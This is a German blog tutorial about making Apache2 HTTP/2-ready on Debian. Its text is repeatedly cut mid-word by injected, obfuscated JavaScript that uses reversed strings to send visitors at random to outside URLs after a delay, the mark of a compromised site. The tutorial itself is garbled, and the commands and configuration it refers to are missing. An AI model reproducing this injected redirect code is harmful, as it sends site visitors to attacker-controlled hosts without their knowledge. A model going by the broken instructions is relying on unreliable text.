Startseite / Linux / Apache fit für HTTP/2 machen

Apache fit für HTTP/2 machen

Heute möchten wir euch zeigen, wie ihr Apache2 fit für HTTP/2 machen könnt.

Doch was ist HTTP/2 überhaupt?

Dies ist der neue HTTP Sttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andard, welcher im Mai 2015 von der IETF verabschiedet wurde. Festgelegt wurde dies in RFC 7540 und RFC 7541. Groß daran beteiligt waren hier Google undd Microsoft.

Folgende neue Möglichkeiten haben sich ergeben:

  • Beschleunigte und optimierte Datenübertragung
  • Push Übertragung (Server iniziert die Datenübertragung)
  • Binärkodierte Übertragung
  • neue Datenkompressionsmöglichkeiten (Stichwort HPACK)
  • Zusammenfassen (Multipley) mehrere Anfragen

Die meisten Browser unterstüzen bereits HTTP/2. Jetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doch haben sich die großen Browserhersteller dazu entschlossen, HTTP/2 nur über eine gesicherte Verbindung (HTTPS/2) anzubieten.


$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to“>
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow.adsbygoogle || []).push({});

Apache2 fit machen

Im folgenden wollen wir euch zeigen, wie wir Apache für HTTPS/2 fit gemacht haben. Die Codebeispiele wurden unter Debian Jessie getestet. Auf toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}anderen Linux Distributionen kann die Syntax leicht abweichen.

Zunächst einmal müsst ihr sicherstellen, dass ihr unter dem User root arbeitet. Falls nicht, werdet ihr zum User root mit dem Befehl „sutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do -i„. Danach müssen wir das Repositoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory hinzufügen:

Danach installieren wir die neuste Apache2 Version aus dem Repo und aktivieren HTTPS/2

Danach fügen wir in der Virtual Host Konfiguration folgendes hinzu:

Zuletzt muss der Apache Dienst noch neu gestartet werden.



$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to“>
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow.adsbygoogle || []).push({});

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.

Search Engine Submission - AddMe